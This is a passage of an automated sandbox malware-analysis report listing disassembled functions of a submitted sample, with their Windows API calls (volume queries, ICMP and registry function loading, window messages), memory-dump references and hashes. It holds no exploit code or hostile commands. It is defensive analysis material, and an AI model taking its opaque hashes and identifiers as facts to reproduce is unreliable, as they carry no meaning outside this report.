                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D85C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorMode$DiskFreeSpace
                              • String ID: \VH
                              • API String ID: 1682464887-234962358
                              • Opcode ID: e9044521b94c7a2fd6e775d53faddef87f956e6addecf71534c1072a2e4d61eb
                              • Instruction ID: 72795a51c8fd7a71edb0939b11d44c3a5eb04741920228a3d2c34b8a4a3992bf
                              • Opcode Fuzzy Hash: e9044521b94c7a2fd6e775d53faddef87f956e6addecf71534c1072a2e4d61eb
                              • Instruction Fuzzy Hash: B5217171D002089FCB00EFA5D98499EBBB8FF48314F1184AAE805AB351D7349E05CB64
                              Function 0045D78F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                              Download Yara Rule
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D79D
                              • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?), ref: 0045D812
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D85C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorMode$DiskFreeSpace
                              • String ID: \VH
                              • API String ID: 1682464887-234962358
                              • Opcode ID: 02922531bbe1fdf38ecd1c48401d7894eac39f8171a3426d51aa67f0eafe79b3
                              • Instruction ID: ae55674c87016058c86dc8d4ad6f5a536cd264dc70ae423c542bf2f5a0a67e7a
                              • Opcode Fuzzy Hash: 02922531bbe1fdf38ecd1c48401d7894eac39f8171a3426d51aa67f0eafe79b3
                              • Instruction Fuzzy Hash: C9316F75E002089FCB00EFA5D985A9DBBB4FF48314F1080AAE904AB351CB75EE05CB94
                              Function 0045D86D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                              Download Yara Rule
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D87B
                              • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?), ref: 0045D8F0
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D93A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorMode$DiskFreeSpace
                              • String ID: \VH
                              • API String ID: 1682464887-234962358
                              • Opcode ID: 657bf3a7bf4e4b0879eb54f11f0d4a47d1274a72e537d3786cc0042974389a76
                              • Instruction ID: e5212c229d9c2069cdfe567d9572a18bb695f81ecf44ad0a977260396f8f3e20
                              • Opcode Fuzzy Hash: 657bf3a7bf4e4b0879eb54f11f0d4a47d1274a72e537d3786cc0042974389a76
                              • Instruction Fuzzy Hash: E6316D75E002089FCB00EFA5D984A9EBBB4FF48314F1084AAE904AB351CB35DE05CB94
                              Function 0045D36D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON
                              Download Yara Rule
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D37E
                              • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3F4
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D437
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorMode$InformationVolume
                              • String ID: \VH
                              • API String ID: 2507767853-234962358
                              • Opcode ID: 3e53e890434f9ea80ffb8b8b8863db28d9ef5c2317443d22617d365319ccab8e
                              • Instruction ID: 9072e4f9bd6fffdf4d5f5b526d3ef1379cf95bcdbb04681c41660468616ecd75
                              • Opcode Fuzzy Hash: 3e53e890434f9ea80ffb8b8b8863db28d9ef5c2317443d22617d365319ccab8e
                              • Instruction Fuzzy Hash: E5213075A002099FC714EF95CD85EAEB7B8FF88300F1084AAE905A73A1D774EA45CB54
                              Function 0045D53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON
                              Download Yara Rule
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D55C
                              • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D5D2
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D608
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorMode$InformationVolume
                              • String ID: \VH
                              • API String ID: 2507767853-234962358
                              • Opcode ID: d1fa58eff2fbb7cc6c51b85e489fdb3630b63cb8eb333212ecdab13a3ad88969
                              • Instruction ID: 5d1496e5fec29648c5677f840c6a5ff7f703137340fc9510fe584f3610dc7e3a
                              • Opcode Fuzzy Hash: d1fa58eff2fbb7cc6c51b85e489fdb3630b63cb8eb333212ecdab13a3ad88969
                              • Instruction Fuzzy Hash: 88218271A00209AFC714EF95C885EAEB7B4FF48300F0084AEF505A72A1D774E905CB58
                              Function 00450ACC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450B3B
                              • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450B51
                              • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450B5F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID: msctls_trackbar32
                              • API String ID: 3850602802-1010561917
                              • Opcode ID: b7bd052b599063d2228b5cfe26d5df8f76e43bb35df486dd72efd91b953fbf0c
                              • Instruction ID: cc80dcb7cd3031ad5716ab9229ca2671b5dcb2452333e47e40e099fef7a03d8b
                              • Opcode Fuzzy Hash: b7bd052b599063d2228b5cfe26d5df8f76e43bb35df486dd72efd91b953fbf0c
                              • Instruction Fuzzy Hash: 301196757403197BEB109EA8DC81FDB339CAB58B64F204216FA10A72C1D6B4FC5187A8
                              Function 00435215 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • CLSIDFromString.OLE32(?,00000000), ref: 00435236
                              • SafeArrayAccessData.OLEAUT32(?,?), ref: 00435285
                              • SafeArrayUnaccessData.OLEAUT32(?), ref: 004352B4
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ArrayDataSafe$AccessFromStringUnaccess_malloc
                              • String ID: crts
                              • API String ID: 943502515-3724388283
                              • Opcode ID: 1c951fdfbdf5c5f88c618ab4611406fe4b678f9348836ee2954194ca176c3974
                              • Instruction ID: ec3ec3aa447b477297a9cb7ebc6a7fbeb91602aa87849f29064a6671b92f781e
                              • Opcode Fuzzy Hash: 1c951fdfbdf5c5f88c618ab4611406fe4b678f9348836ee2954194ca176c3974
                              • Instruction Fuzzy Hash: EC213876600A009FC714CF8AE444D97FBE8EF98760714C46AEA49CB721D334E851CB94
                              Function 0045D2C7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON
                              Download Yara Rule
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D2D2
                              • SetVolumeLabelW.KERNEL32(?,00000000), ref: 0045D331
                              • SetErrorMode.KERNEL32(?), ref: 0045D35C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorMode$LabelVolume
                              • String ID: \VH
                              • API String ID: 2006950084-234962358
                              • Opcode ID: 06ec5ceac71ab965c19bbe619e509a4f86e9865fc889b709aa917be6b1aab059
                              • Instruction ID: 93ef07912bcba266d24f4400c0aa25f887f93b2782b8649f9ae8f5902fc9f078
                              • Opcode Fuzzy Hash: 06ec5ceac71ab965c19bbe619e509a4f86e9865fc889b709aa917be6b1aab059
                              • Instruction Fuzzy Hash: 10115175900105DFCB00EFA5D94499EBBB4FF48315B1084AAEC09AB352D774ED45CBA5
                              Function 004496E9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • GetMenuItemInfoW.USER32 ref: 00449727
                              • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00449751
                              • DrawMenuBar.USER32 ref: 00449761
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Menu$InfoItem$Draw_malloc
                              • String ID: 0
                              • API String ID: 772068139-4108050209
                              • Opcode ID: 1167fa92614d233b3003e6fb28f1152d6dc9f7ab2b98f531c98f2f78594b2958
                              • Instruction ID: eb12e692e9d899ed3776fa10421b592e4983edb38958d2313c52402e3f8558b6
                              • Opcode Fuzzy Hash: 1167fa92614d233b3003e6fb28f1152d6dc9f7ab2b98f531c98f2f78594b2958
                              • Instruction Fuzzy Hash: 7711A3B1A10208AFEB10DF55DC49BAFB774EF85314F0041AEFA098B250DB759944DFA5
                              Function 00472A2B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcslen$_wcscpy
                              • String ID: 3, 3, 8, 1
                              • API String ID: 3469035223-357260408
                              • Opcode ID: 12b73319f7521ef091ea4856e2d9fc07411b991347f193140c1b9c5819a8a9d6
                              • Instruction ID: 583e1dd4926d5dc430cd1974fab242c37593855fc3f83b6d902887b8cb8118b3
                              • Opcode Fuzzy Hash: 12b73319f7521ef091ea4856e2d9fc07411b991347f193140c1b9c5819a8a9d6
                              • Instruction Fuzzy Hash: 44F06D61510655E2CB34A791AD917FF72546F44341F00947BD90ED2190F368CB85CF99
                              Function 004312CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNEL32(ICMP.DLL), ref: 004312DE
                              • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 004312F0
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: ICMP.DLL$IcmpCloseHandle
                              • API String ID: 2574300362-3530519716
                              • Opcode ID: 21a2acdac0ba1e2d746e72dbff1012e7ad80fb0484e1fffebf05da08cb8a0c44
                              • Instruction ID: fe30dd6f995ef3e52e92cf139519288d45b371df6a06e7fbbc01cfddaae6e452
                              • Opcode Fuzzy Hash: 21a2acdac0ba1e2d746e72dbff1012e7ad80fb0484e1fffebf05da08cb8a0c44
                              • Instruction Fuzzy Hash: 89E01275500316DFDB105F66D80564B77DCDB14751F10482AFD45E2A51DBB8D48087E8
                              Function 004312FE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNEL32(ICMP.DLL), ref: 00431310
                              • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 00431322
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: ICMP.DLL$IcmpCreateFile
                              • API String ID: 2574300362-275556492
                              • Opcode ID: c8e81b458e49d693ad0b98c25d1a2273645c6015ec642ff3830cff94addfde50
                              • Instruction ID: 95e0d00128142f820e0a83de5ed484af687323a382b0c693d148963e73e99334
                              • Opcode Fuzzy Hash: c8e81b458e49d693ad0b98c25d1a2273645c6015ec642ff3830cff94addfde50
                              • Instruction Fuzzy Hash: E3E0C270400306EFD7107FA5D81464A77E8DB08310F104C2AFC40A2650C7B8D48087A8
                              Function 0043129A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNEL32(ICMP.DLL), ref: 004312AC
                              • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004312BE
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: ICMP.DLL$IcmpSendEcho
                              • API String ID: 2574300362-58917771
                              • Opcode ID: 8463976e88658be12d547e53f001863c36b7eb8c5d8a0eb88088b9b0d7e59d79
                              • Instruction ID: f6e067919a3be2c94262fb81e38fb1c28335358536499f04279aa6303c0198c7
                              • Opcode Fuzzy Hash: 8463976e88658be12d547e53f001863c36b7eb8c5d8a0eb88088b9b0d7e59d79
                              • Instruction Fuzzy Hash: ADE0C2B0400706DFC7105F65D80465B77D8DB04321F10482BFD80E2610C7B8E48087A8
                              Function 00430C7F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNEL32(advapi32.dll), ref: 00430C91
                              • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00430CA3
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: RegDeleteKeyExW$advapi32.dll
                              • API String ID: 2574300362-4033151799
                              • Opcode ID: d4a2309a593705586ca0189df29ebf11fe16cb5b9b4952fb03c76dd6ffec2ddb
                              • Instruction ID: e1e112c22781e886f83f7ab60c8bc672304d94c0271b2a691c2b6ddb7eb549cd
                              • Opcode Fuzzy Hash: d4a2309a593705586ca0189df29ebf11fe16cb5b9b4952fb03c76dd6ffec2ddb
                              • Instruction Fuzzy Hash: 3FE0C2B0440315AFCB106F6AD95460B7BD89B14321F10583BF980E2600C7B8E88087B8
                              Function 00479500 Relevance: 6.2, APIs: 4, Instructions: 162memoryCOMMON
                              Download Yara Rule
                              APIs
                              • VariantInit.OLEAUT32(?), ref: 0047950F
                              • SysAllocString.OLEAUT32(00000000), ref: 004795D8
                              • VariantCopy.OLEAUT32(?,?), ref: 0047960F
                              • VariantClear.OLEAUT32(?), ref: 00479650
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Variant$AllocClearCopyInitString
                              • String ID:
                              • API String ID: 2808897238-0
                              • Opcode ID: d4078b498bd58c38c4ff211c6799319bb2158b2b01decc8b4cd966ad5c1122ff
                              • Instruction ID: 372c40b5ecffa4d340e825e49f449287305c7189bb1404562c27c74c4f1437f4
                              • Opcode Fuzzy Hash: d4078b498bd58c38c4ff211c6799319bb2158b2b01decc8b4cd966ad5c1122ff
                              • Instruction Fuzzy Hash: 8251C436600209A6C700FF3AD8815DAB764EF84315F50863FFD0897252DB78DA1997EA
                              Function 0046993E Relevance: 6.1, APIs: 4, Instructions: 149windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(00000000,0000110A,00000004,?), ref: 00469990
                              • __itow.LIBCMT ref: 004699CD
                                • Part of subcall function 00461C4A: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00461CC2
                              • SendMessageW.USER32(00000000,0000110A,00000001,?), ref: 00469A3D
                              • __itow.LIBCMT ref: 00469A97
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
